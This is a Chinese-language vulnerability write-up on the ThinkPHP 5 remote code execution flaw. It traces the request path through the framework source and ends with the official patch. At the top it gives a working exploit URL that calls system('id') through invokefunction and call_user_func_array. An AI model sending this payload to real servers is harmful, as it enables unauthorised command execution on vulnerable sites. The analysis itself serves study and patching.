漏洞复现
http://xxx.xxx.xxx.xxx/tp5/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
漏洞分析
首先在入口文件处断点,访问带有exploit的链接,一步步跟到thinkphp\library\think\App.php中的run方法。
public static function run(Request $request = null){$request = is_null($request) ? Request::instance() : $request;try {$config = self::initCommon();// 模块/控制器绑定if (defined('BIND_MODULE')) {BIND_MODULE && Route::bind(BIND_MODULE);} elseif ($config['auto_bind_module']) {// 入口自动绑定$name = pathinfo($request->baseFile(), PATHINFO_FILENAME);if ($name && 'index' != $name && is_dir(APP_PATH . $name)) {Route::bind($name);}}$request->filter($config['default_filter']);// 默认语言Lang::range($config['default_lang']);// 开启多语言机制 检测当前语言$config['lang_switch_on'] && Lang::detect();$request->langset(Lang::range());// 加载系统语言包Lang::load([THINK_PATH . 'lang' . DS . $request->langset() . EXT,APP_PATH . 'lang' . DS . $request->langset() . EXT,]);// 监听 app_dispatchHook::listen('app_dispatch', self::$dispatch);// 获取应用调度信息$dispatch = self::$dispatch;// 未设置调度信息则进行 URL 路由检测if (empty($dispatch)) {$dispatch = self::routeCheck($request, $config);}// 记录当前调度信息$request->dispatch($dispatch);// 记录路由和请求信息if (self::$debug) {Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');}// 监听 app_beginHook::listen('app_begin', $dispatch);// 请求缓存检查$request->cache($config['request_cache'],$config['request_cache_expire'],$config['request_cache_except']);$data = self::exec($dispatch, $config);} catch (HttpResponseException $exception) {$data = $exception->getResponse();}// 清空类的实例化Loader::clearInstance();// 输出数据到客户端if ($data instanceof Response) {$response = $data;} elseif (!is_null($data)) {// 默认自动识别响应输出类型$type = $request->isAjax() ?Config::get('default_ajax_return') :Config::get('default_return_type');$response = Response::create($data, $type);} else {$response = Response::create();}// 监听 app_endHook::listen('app_end', $response);return $response;}
代码很长,但关键部分只有几处,接下来开始调试。
if (empty($dispatch)) {$dispatch = self::routeCheck($request, $config);}
当代码运行到这里,调用routeCheck来获取调度信息,跟进去看看代码
public static function routeCheck($request, array $config){$path = $request->path();$depr = $config['pathinfo_depr'];$result = false;// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索if (false === $result) {$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);}return $result;}
第三行代码,通过path()获取路径,值为index/\think\app/invokefunction,剩余的变量存储在$_GET中
$_GETarray(2)function: "call_user_func_array"vars: array(2)
继续调试,到第8行,这里因为$result为假,所以调用Route::parseUrl处理路径,最后得到了一个$result数组,其内容:
type:"module"module:array(3)0:"index"1:"\think\app"2:"invokefunction"
接着返回到run方法中,将返回的数据通过$request->dispatch($dispatch)存入$dispatch。
接着运行到调用exec部分
$data = self::exec($dispatch, $config);
跟进去继续看代码
protected static function exec($dispatch, $config){switch ($dispatch['type']) {case 'redirect': // 重定向跳转$data = Response::create($dispatch['url'], 'redirect')->code($dispatch['status']);break;case 'module': // 模块/控制器/操作$data = self::module($dispatch['module'],$config,isset($dispatch['convert']) ? $dispatch['convert'] : null);break;case 'controller': // 执行控制器操作$vars = array_merge(Request::instance()->param(), $dispatch['var']);$data = Loader::action($dispatch['controller'],$vars,$config['url_controller_layer'],$config['controller_suffix']);break;case 'method': // 回调方法$vars = array_merge(Request::instance()->param(), $dispatch['var']);$data = self::invokeMethod($dispatch['method'], $vars);break;case 'function': // 闭包$data = self::invokeFunction($dispatch['function']);break;case 'response': // Response 实例$data = $dispatch['response'];break;default:throw new \InvalidArgumentException('dispatch type not support');}return $data;}
因为$dispatch中的type为moudle,程序会调用self::module()方法。
继续跟进去
public static function module($result, $config, $convert = null){if ($config['app_multi_module']) {// 多模块部署$module = strip_tags(strtolower($result[0] ?: $config['default_module']));$bind = Route::getBind('module');$available = false;if ($bind) {// 绑定模块list($bindModule) = explode('/', $bind);if (empty($result[0])) {$module = $bindModule;$available = true;} elseif ($module == $bindModule) {$available = true;}} elseif (!in_array($module, $config['deny_module_list']) && is_dir(APP_PATH . $module)) {$available = true;}// 模块初始化if ($module && $available) {// 初始化模块$request->module($module);$config = self::init($module);// 模块请求缓存检查$request->cache($config['request_cache'],$config['request_cache_expire'],$config['request_cache_except']);} else {throw new HttpException(404, 'module not exists:' . $module);}} else {// 单一模块部署$module = '';$request->module($module);}// 设置默认过滤机制$request->filter($config['default_filter']);// 当前模块路径App::$modulePath = APP_PATH . ($module ? $module . DS : '');// 是否自动转换控制器和操作名$convert = is_bool($convert) ? $convert : $config['url_convert'];// 获取控制器名$controller = strip_tags($result[1] ?: $config['default_controller']);$controller = $convert ? strtolower($controller) : $controller;// 获取操作名$actionName = strip_tags($result[2] ?: $config['default_action']);if (!empty($config['action_convert'])) {$actionName = Loader::parseName($actionName, 1);} else {$actionName = $convert ? strtolower($actionName) : $actionName;}// 设置当前请求的控制器、操作$request->controller(Loader::parseName($controller, 1))->action($actionName);// 监听module_initHook::listen('module_init', $request);try {$instance = Loader::controller($controller,$config['url_controller_layer'],$config['controller_suffix'],$config['empty_controller']);} catch (ClassNotFoundException $e) {throw new HttpException(404, 'controller not exists:' . $e->getClass());}// 获取当前操作名$action = $actionName . $config['action_suffix'];$vars = [];if (is_callable([$instance, $action])) {// 执行操作方法$call = [$instance, $action];// 严格获取当前操作方法名$reflect = new \ReflectionMethod($instance, $action);$methodName = $reflect->getName();$suffix = $config['action_suffix'];$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;$request->action($actionName);} elseif (is_callable([$instance, '_empty'])) {// 空操作$call = [$instance, '_empty'];$vars = [$actionName];} else {// 操作不存在throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');}Hook::listen('action_begin', $call);return self::invokeMethod($call, $vars);}
这段代码的主要作用在于获取了控制器名,操作名,通过$request->controller(Loader::parseName($controller, 1))->action($actionName);设置请求的控制器、操作,并将其实例化给$instance
之后判断在控制器中是否存在操作名
if (is_callable([$instance, $action])) {// 执行操作方法$call = [$instance, $action];// 严格获取当前操作方法名$reflect = new \ReflectionMethod($instance, $action);$methodName = $reflect->getName();$suffix = $config['action_suffix'];$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;$request->action($actionName);}
操作名存在则把操作名给$call,传入invokeMethod并调用。
public static function invokeMethod($method, $vars = []){if (is_array($method)) {$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);$reflect = new \ReflectionMethod($class, $method[1]);} else {// 静态方法$reflect = new \ReflectionMethod($method);}$args = self::bindParams($reflect, $vars);self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');return $reflect->invokeArgs(isset($class) ? $class : null, $args);}
代码第四行、第五行,通过反射得到控制器名,操作名。
第十一行,通过bindParams得到剩余的参数
0:"call_user_func_array"1:array(2)0:"system"1:array(1)0:"id"
在最后,调用invokeArgs方法,传入args,执行call_user_func_array,并将数组中的参数传进去。
最终,成功实行命令
PHP反射
PHP手册中invokeArgs和ReflectionMethod的用法
<?phpclass HelloWorld {public function sayHelloTo($name) {return 'Hello ' . $name;}}$reflectionMethod = new ReflectionMethod('HelloWorld', 'sayHelloTo');echo $reflectionMethod->invokeArgs(new HelloWorld(), array('Mike'));?>
将类名和方法名传入ReflectionMethod中并实例化,接着调用其中的内置参数invokeArgs,并将要调用的方法所需要的参数以数组形式传入即可成功调用sayHelloTo。
漏洞修复
官方给出了修复补丁,在moudle中添加了验证
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {throw new HttpException(404, 'controller not exists:' . $controller);}
结语
虽说是分析了一下漏洞,但是实际上还是很多地方不清楚,很多地方说的可能不对。
但总算大致是清楚了是由于没有进行过滤,而在app类中又有invokeFunction这样危险的函数,从而导致了漏洞发生。
参考
ThinkPHP 5简明开发手册 分析ThinkPHP5框架从入口到输出界面的加载流程 thinkphp 5.0.22 rce漏洞学习
